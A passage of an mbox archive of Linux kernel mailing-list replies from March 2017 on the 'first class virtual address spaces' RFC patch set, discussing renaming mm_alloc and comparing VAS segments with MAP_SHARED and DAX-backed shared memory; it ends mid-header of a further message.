Approved: news@gmane.org
Message-ID: <20170314161855.2g2gc3ff4ifj2lqt@arch-dev>
References: <063D6719AE5E284EB5DD2968C1650D6DCFFB03F4@AcuExch.aculab.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1489508355 28289 195.159.176.226 (14 Mar 2017 16:19:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 14 Mar 2017 16:19:15 +0000 (UTC)
User-Agent: NeoMutt/20170306 (1.8.0)
Cc: 'Till Smejkal' <till.smejkal@googlemail.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Rich Felker <dal
To: David Laight <David.Laight@ACULAB.COM>
Original-X-From: owner-linux-mm@kvack.org Tue Mar 14 17:19:03 2017
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1cnpA0-0005VT-8j
	for glkm-linux-mm-2@m.gmane.org; Tue, 14 Mar 2017 17:18:56 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id D05A96B0389; Tue, 14 Mar 2017 12:19:01 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id C90A06B038D; Tue, 14 Mar 2017 12:19:01 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id ADF516B0389; Tue, 14 Mar 2017 12:19:01 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wr0-f197.google.com (mail-wr0-f197.google.com [209.85.128.197])
	by kanga.kvack.org (Postfix) with ESMTP id 483D66B038C
	for <linux-mm@kvack.org>; Tue, 14 Mar 2017 12:19:01 -0400 (EDT)
Original-Received: by mail-wr0-f197.google.com with SMTP id y51so51635864wry.6
        for <linux-mm@kvack.org>; Tue, 14 Mar 2017 09:19:01 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:date:to:cc:subject
         :message-id:mail-followup-to:mime-version:content-disposition
         :in-reply-to:user-agent;
        bh=+6H+T1ojThgGAdaNMUOtropB7bl8aLDEx/QCCOeIdEg=;
        b=KAHx/ZRHT01ZvIESWMmdAwCazELWh+9pNXrMbRPflz1A4aua7zukxwp6etdAJ+ndpo
         /TSfCVJzumLHC6g9WOyif082hemSg6Bnn4EaI9Z30MFvpRPswX92r5C1MA58zAT5A/YS
         RcF7SXsU4wXT+iYbYPfEkYtO4zRFANscDshQ3GkzyWCkdgBW87u6l3CAWgAMGhO0nzl/
         0FnO6ixOXMOp5N2gatQF8Sa9z57fc+sMwI/EGMFik36SQ7ULNCMtBkM97tsumpNXNJwU
         fdCKKIrAWn8XprKE15FLMlwyu4oiYGIQykgTOs30lIbLtAGlz2I6Xg37sogOqzbkIOyj
         X8mg==
X-Gm-Message-State: AFeK/H23MyXbI0uFSIS6DbXgiBygC6YG1PVkdEzEf4jKdI66Klm07sGNBrA1S+ilVGD0hIDYLu+WKvyvJjZRMK5wm/PLQZjxVdzNZRXF5igCRcMDcRgUh3rL5wvtQKKntZNbVqYRL3H8qZkIf/MQTDWcNPA32txokcf2UrgmQVnCcl2oPokt4oaU94wZPc/PfdSFdkOcIJxYPuao9mtfihWkZM5mQon329aIQjEhHyf1q8VBRhUik8QEGyljDloXEYPaN5Dhi+n3hrdPOaRucNZ0VIO2E/sXyXIvyUoeNH56jfNGog==
X-Received: by 10.28.178.142 with SMTP id b136mr494804wmf.57.1489508340699;
        Tue, 14 Mar 2017 09:19:00 -0700 (PDT)
X-Received: by 10.28.178.142 with SMTP id b136mr494760wmf.57.1489508339949;
        Tue, 14 Mar 2017 09:18:59 -0700 (PDT)
Original-Received: from mail-wm0-x241.google.com (mail-wm0-x241.google.com. [2a00:1450:400c:c09::241])
        by mx.google.com with ESMTPS id 64si5640603wra.235.2017.03.14.09.18.59
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Tue, 14 Mar 2017 09:18:59 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c09::241 as permitted sender) client-ip=2a00:1450:400c:c09::241;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c09::241 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wm0-x241.google.com with SMTP id n11so611866wma.0;
        Tue, 14 Mar 2017 09:18:59 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:date:to:cc:subject:message-id:mail-followup-to:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=+6H+T1ojThgGAdaNMUOtropB7bl8aLDEx/QCCOeIdEg=;
        b=CoVN3kv/AUdJXSgkJWNYeIjSVamB9btqVoURw+t8JJgHP1a766xzdtVxAYVCldO8Qm
         Zxx4ABq6Dm2XNYZ/Vmj+X2iaHb2kEPPkJOl1BTswLReICleF5q59sY8v9Av72ngHSQpS
         c+cF1HUFDzky3hOyd6JfADNoPY0MmqhRU565axT+e8tMCe/2x5l1TGs8vq2ap9lKtNZN
         GiGLGl9XDH5q+/uMkpfZU8jYHm2lOyU81eagJE34KfFf9WGZhZ+4f4oeG/bd/PM0b70l
         zcOUtzfr9NqNcdpuDabZp2lrt9CJx86cGsG+CKkT6sYMnMPG80ZQrP3uzawTzz6HaP7+
         K9oQ==
X-Received: by 10.28.151.142 with SMTP id z136mr17267815wmd.20.1489508339431;
        Tue, 14 Mar 2017 09:18:59 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id p12sm29898173wrb.46.2017.03.14.09.18.57
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Tue, 14 Mar 2017 09:18:58 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
Mail-Followup-To: David Laight <David.Laight@ACULAB.COM>,
	'Till Smejkal' <till.smejkal@googlemail.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshino 
Content-Disposition: inline
In-Reply-To: <063D6719AE5E284EB5DD2968C1650D6DCFFB03F4@AcuExch.aculab.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:168337 gmane.linux.ports.mips.general:58418 gmane.linux.alsa.devel:165348 gmane.linux.ports.ia64:27712 gmane.linux.kernel.aio.general:4964 gmane.linux.drivers.mtd:72563 gmane.linux.ports.sparc:24743 gmane.linux.kernel.cross-arch:35573 gmane.linux.ports.hexagon:1173 gmane.linux.ports.sh.devel:55146 gmane.linux.kernel.arc:2241 gmane.linux.drivers.video-input-infrastructure:114801 gmane.linux.kernel.metag:1282 gmane.linux.ports.arm.kernel:565032 gmane.linux.ports.parisc:27342 gmane.linux.kernel.api:22555 gmane.linux.usb.general:156173 gmane.linux.kernel:2432084 gmane.linux.ports.alpha:4148 gmane.linux.file-systems:119127 gmane.linux.ports.ppc64.devel:139619
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/168337>

On Tue, 14 Mar 2017, David Laight wrote:
> From: Linuxppc-dev Till Smejkal
> > Sent: 13 March 2017 22:14
> > The only way until now to create a new memory map was via the exported
> > function 'mm_alloc'. Unfortunately, this function not only allocates a new
> > memory map, but also completely initializes it. However, with the
> > introduction of first class virtual address spaces, some initialization
> > steps done in 'mm_alloc' are not applicable to the memory maps needed for
> > this feature and hence would lead to errors in the kernel code.
> > 
> > Instead of introducing a new function that can allocate and initialize
> > memory maps for first class virtual address spaces and potentially
> > duplicate some code, I decided to split the mm_alloc function as well as
> > the 'mm_init' function that it uses.
> > 
> > Now there are four functions exported instead of only one. The new
> > 'mm_alloc' function only allocates a new mm_struct and zeros it out. If one
> > want to have the old behavior of mm_alloc one can use the newly introduced
> > function 'mm_alloc_and_setup' which not only allocates a new mm_struct but
> > also fully initializes it.
> ...
> 
> That looks like bugs waiting to happen.
> You need unchanged code to fail to compile.

Thank you for this hint. I can give the new mm_alloc function a different name so
that code that uses the *old* mm_alloc function will fail to compile. I just reused
the old name when I wrote the code, because mm_alloc was only used in very few
locations in the kernel (2 times in the whole kernel source) which made identifying
and changing them very easy. I also don't think that there will be many users in the
kernel for mm_alloc in the future because it is a relatively low level data
structure. But if it is better to use a different name for the new function, I am
very happy to change this.

Till

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:39:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.aio.general,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: Re: [RFC PATCH 00/13] Introduce first class virtual address spaces
Date: Tue, 14 Mar 2017 14:14:27 -0700
Lines: 70
Approved: news@gmane.org
Message-ID: <20170314211427.7wxdyrholi3mgle5@arch-dev>
References: <8d9333d6-2f81-a9de-484e-e1d655e1d3c3@mellanox.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1489526084 14511 195.159.176.226 (14 Mar 2017 21:14:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 14 Mar 2017 21:14:44 +0000 (UTC)
User-Agent: NeoMutt/20170306 (1.8.0)
Cc: Andy Lutomirski <luto@amacapital.net>,
	Andy Lutomirski <luto@kernel.org>,
	Till Smejkal <till.smejkal@googlemail.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de
To: Chris Metcalf <cmetcalf@mellanox.com>
Original-X-From: owner-linux-mm@kvack.org Tue Mar 14 22:14:32 2017
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1cntm0-000256-Ti
	for glkm-linux-mm-2@m.gmane.org; Tue, 14 Mar 2017 22:14:29 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 38B8D6B0393; Tue, 14 Mar 2017 17:14:34 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 339336B0394; Tue, 14 Mar 2017 17:14:34 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 117346B0393; Tue, 14 Mar 2017 17:14:34 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wm0-f72.google.com (mail-wm0-f72.google.com [74.125.82.72])
	by kanga.kvack.org (Postfix) with ESMTP id 9FCE26B0394
	for <linux-mm@kvack.org>; Tue, 14 Mar 2017 17:14:33 -0400 (EDT)
Original-Received: by mail-wm0-f72.google.com with SMTP id d66so1733136wmi.2
        for <linux-mm@kvack.org>; Tue, 14 Mar 2017 14:14:33 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:date:to:cc:subject
         :message-id:mail-followup-to:mime-version:content-disposition
         :in-reply-to:user-agent;
        bh=JafwRDcxtOSTwUrOJIR9EQWOJzc7PxCMBJ3odtqpSl0=;
        b=J6/6ncR5Lzz0JHHRUsGfcgb+aBREXQYBPXvBMkd22kW3GO2u5AZIuWGqVks74qs0gI
         NVG7UGoDce48GzIN7rWCseXFDwvs/FFGzEZr53XxkGxdRPN13Z6irzr4hVTzarma/IFk
         pkAcccr4FZVWmf6gwk6ltttXmUFWfmIsuqyiQ9NFD4jEK+IrI/ZFk9iP8Bggk13T/Osm
         bePXMK1FpqipAVrNchzNJ6FpeySIPblKB9MiLUsvlxIpWwjF30pVTnIGWoXuQPiF+gvk
         rG9dzUYySy5xnpUV6b4DkAU4dqn1UPk6Jim+03nyuEkeFCwi8yiF1KA4CSAdyplMdQWk
         LGIQ==
X-Gm-Message-State: AFeK/H317+Ib+2DXI7RdD07PzC6sw+MwWY80fT7kzkSt5J6b5bZlZnpbACdgqaQYg73Enh4D6dfB+Hk7u3KAWXQnNja1KQ18igLxku1XyuA5Cw2xd9c1yYB9aW3IXc/Olp4nJbJuj98u7TE5uXFMKOzubLOE5or3CeHDl8uiWWikWqFdFpBjoJWbrQCZdatjYdywcONkQEegx7teHGcDYpgnyGqirkcXYUeWo6PcbubJwT9n5pc9jCkubpuxW+qr2suvPZIBpRynUuyGLcSzQgtPwKxdRF664fuE5A9gIDkTbl0f0g==
X-Received: by 10.28.155.65 with SMTP id d62mr1571245wme.7.1489526073165;
        Tue, 14 Mar 2017 14:14:33 -0700 (PDT)
X-Received: by 10.28.155.65 with SMTP id d62mr1571216wme.7.1489526072372;
        Tue, 14 Mar 2017 14:14:32 -0700 (PDT)
Original-Received: from mail-wr0-x244.google.com (mail-wr0-x244.google.com. [2a00:1450:400c:c0c::244])
        by mx.google.com with ESMTPS id y64si1298949wmh.105.2017.03.14.14.14.31
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Tue, 14 Mar 2017 14:14:32 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::244 as permitted sender) client-ip=2a00:1450:400c:c0c::244;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::244 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wr0-x244.google.com with SMTP id l37so25352103wrc.3;
        Tue, 14 Mar 2017 14:14:31 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:date:to:cc:subject:message-id:mail-followup-to:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=JafwRDcxtOSTwUrOJIR9EQWOJzc7PxCMBJ3odtqpSl0=;
        b=RfS3kbOuxCUbirZFYxoIaVis23qjTJu4sIFjSlRZ4KYaq+HJs3KHq3j/k3L569PmZO
         naPb4+29q91U+wP9s+v0dxrIAUK2nbh+dOsqLFzRE2kNctBWg0x0QqrqdUfkeDQ9tcrN
         eluP2cD5tfjzQ+VVUAYS1eiTNwyYuZIXg4atPlHdDBrpCSo09GJV0vtj8LrmyfbVlx+w
         bB806MuC7ec0tS7QQr/fvlco8kLvpgaPwj4P1UHcCikrB8ZMPVzY5EuI6njx0c2davRz
         N2ur1dsjM4n7oC3Q21+x0qJW7ESvS3U2d06OCSaK1uEtPWn/yXMTTJ2D04/3QQbv6tXs
         DRdg==
X-Received: by 10.223.162.205 with SMTP id t13mr37545937wra.155.1489526071261;
        Tue, 14 Mar 2017 14:14:31 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id c9sm1232473wmf.18.2017.03.14.14.14.29
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Tue, 14 Mar 2017 14:14:30 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
Mail-Followup-To: Chris Metcalf <cmetcalf@mellanox.com>,
	Andy Lutomirski <luto@amacapital.net>,
	Andy Lutomirski <luto@kernel.org>,
	Till Smejkal <till.smejkal@googlemail.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwi 
Content-Disposition: inline
In-Reply-To: <8d9333d6-2f81-a9de-484e-e1d655e1d3c3@mellanox.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:168362 gmane.linux.kernel:2432350 gmane.linux.ports.alpha:4149 gmane.linux.kernel.arc:2242 gmane.linux.ports.arm.kernel:565133 gmane.linux.ports.hexagon:1174 gmane.linux.ports.ia64:27713 gmane.linux.kernel.metag:1283 gmane.linux.ports.mips.general:58424 gmane.linux.ports.parisc:27343 gmane.linux.ports.ppc64.devel:139631 gmane.linux.ports.sh.devel:55147 gmane.linux.ports.sparc:24751 gmane.linux.drivers.video-input-infrastructure:114861 gmane.linux.drivers.mtd:72567 gmane.linux.usb.general:156184 gmane.linux.file-systems:119136 gmane.linux.kernel.aio.general:4966 gmane.linux.kernel.api:22564 gmane.linux.kernel.cross-arch:35578 gmane.linux.alsa.devel:165351
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/168362>

On Tue, 14 Mar 2017, Chris Metcalf wrote:
> On 3/14/2017 12:12 PM, Till Smejkal wrote:
> > On Mon, 13 Mar 2017, Andy Lutomirski wrote:
> > > On Mon, Mar 13, 2017 at 7:07 PM, Till Smejkal
> > > <till.smejkal@googlemail.com> wrote:
> > > > On Mon, 13 Mar 2017, Andy Lutomirski wrote:
> > > > > This sounds rather complicated.  Getting TLB flushing right seems
> > > > > tricky.  Why not just map the same thing into multiple mms?
> > > > This is exactly what happens at the end. The memory region that is described by the
> > > > VAS segment will be mapped in the ASes that use the segment.
> > > So why is this kernel feature better than just doing MAP_SHARED
> > > manually in userspace?
> > One advantage of VAS segments is that they can be globally queried by user programs
> > which means that VAS segments can be shared by applications that not necessarily have
> > to be related. If I am not mistaken, MAP_SHARED of pure in memory data will only work
> > if the tasks that share the memory region are related (aka. have a common parent that
> > initialized the shared mapping). Otherwise, the shared mapping have to be backed by a
> > file.
> 
> True, but why is this bad?  The shared mapping will be memory resident
> regardless, even if backed by a file (unless swapped out under heavy
> memory pressure, but arguably that's a feature anyway).  More importantly,
> having a file name is a simple and consistent way of identifying such
> shared memory segments.
> 
> With a little work, you can also arrange to map such files into memory
> at a fixed address in all participating processes, thus making internal
> pointers work correctly.

I don't want to say that the interface provided by MAP_SHARED is bad. I am only
arguing that VAS segments and the interface that they provide have an advantage over
the existing ones in my opinion. However, Matthew Wilcox also suggested in some
earlier mail that VAS segments could be exported to user space via a special purpose
filesystem. This would enable users of VAS segments to also just use some special
files to setup the shared memory regions. But since the VAS segment itself already
knows where at has to be mapped in the virtual address space of the process, the
establishing of the shared memory region would be very easy for the user.

> > VAS segments on the other side allow sharing of pure in memory data by
> > arbitrary related tasks without the need of a file. This becomes especially
> > interesting if one combines VAS segments with non-volatile memory since one can keep
> > data structures in the NVM and still be able to share them between multiple tasks.
> 
> I am not fully up to speed on NV/pmem stuff, but isn't that exactly what
> the DAX mode is supposed to allow you to do?  If so, isn't sharing a
> mapped file on a DAX filesystem on top of pmem equivalent to what
> you're proposing?

If I read the documentation to DAX filesystems correctly, it is indeed possible to us
them to create files that life purely in NVM. I wasn't fully aware of this feature.
Thanks for the pointer.

However, the main contribution of this patchset is actually the idea of first class
virtual address spaces and that they can be used to allow processes to have multiple
different views on the system's main memory. For us, VAS segments were another logic
step in the same direction (from first class virtual address spaces to first class
address space segments). However, if there is already functionality in the Linux
kernel to achieve the exact same behavior, there is no real need to add VAS segments.
I will continue thinking about them and either find a different situation where the
currently available interface is not sufficient/too complicated or drop VAS segments
from future version of the patch set.

Till

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:39:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Matthew Wilcox <willy@infradead.org>
Newsgroups: gmane.linux.drivers.mtd,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.alsa.devel,gmane.linux.usb.general,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.api,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.kernel.arc,gmane.linux.kernel.aio.general,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.alpha,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.file-systems,gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC PATCH 00/13] Introduce first class virtual address spaces
Date: Wed, 15 Mar 2017 09:57:36 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20170315165736.GE4033@bombadil.infradead.org>
References: <CALCETrXKvNWv1OtoSo_HWf5ZHSvyGS1NsuQod6Zt+tEg3MT5Sg@mail.gmail.com>
 <20170314161229.tl6hsmian2gdep47@arch-dev>
 <CALCETrX5gv+zdhOYro4-u3wGWjVCab28DFHPSm5=BVG_hKxy3A@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1489597088 10690 195.159.176.226 (15 Mar 2017 16:58:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 15 Mar 2017 16:58:08 +0000 (UTC)
User-Agent: Mutt/1.7.1 (2016-10-04)
Cc: Linux MIPS Mailing List <linux-mips@linux-mips.org>,
 "linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
 Rich Felker <dalias@libc.org>,
 "linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
 "linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
 Peter Zijlstra <peterz@infradead.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Heiko Carstens <heiko.carstens@de.ibm.com>,
 ALSA development <alsa-devel@alsa-project.org>,
 USB list <linux-usb@vger.kernel.org>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 "J. Bruce Fields" <bfields@fieldses.org>, Max Filippov <jcmvbkbc@gmail.com>,
 Paul Mackerras <paulus@samba.org>,
 Laurent Pinchart <laurent.pinchart@ideasonboard.com>,
 "H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
 linux-hexagon@vger.kernel.org, Cyrille Pitchen <cyrille.pitchen@atmel.com>,
 Linux API <linux-api@vger.kernel.org>, Jeff Layton
To: Andy Lutomirski <luto@amacapital.net>
Original-X-From: linux-mtd-bounces+gldm-linux-mtd-36=gmane.org@lists.infradead.org Wed Mar 15 17:57:57 2017
Return-path: <linux-mtd-bounces+gldm-linux-mtd-36=gmane.org@lists.infradead.org>
Envelope-to: gldm-linux-mtd-36@gmane.org
Original-Received: from mxfilter-048034.atla03.us.yomura.com ([107.189.48.34])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mtd-bounces+gldm-linux-mtd-36=gmane.org@lists.infradead.org>)
	id 1coCFG-0001PY-M1
	for gldm-linux-mtd-36@gmane.org; Wed, 15 Mar 2017 17:57:54 +0100
X-Yomura-MXScrub: 1.0
Original-Received: from bombadil.infradead.org (unknown [65.50.211.133])
	by mxfilter-048034.atla03.us.yomura.com (Halon) with ESMTPS
	id 89d3a9ca-09a0-11e7-b719-b499baa2b07a;
	Wed, 15 Mar 2017 16:57:58 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=EGBKpQCiTNTq9WmrNTcie7RAWYnYCpZQlt0qIHULiXU=; b=k6Brbd3OPriDje
	O8CN1PRPOqgHgwbT670xM1fAW65aKuBpKnk24VuHdcUB9gSTnys7D1/7s6HVLaqckJcH3eYlbofEg
	qembfAcMqvBigx7NSiy64tIXyrPotC6e/fQF1GG5tjHLHTf3dX1MCzMcpePBZC1bRfRPU+iGAITWM
	6+mK+KN7lOnlTN98mZqzvOQ8nDaTDcpvmExkt7FRrHY2PsJyIf7nxrkv8fHNqVbwuRqOZ7jGxCbbo
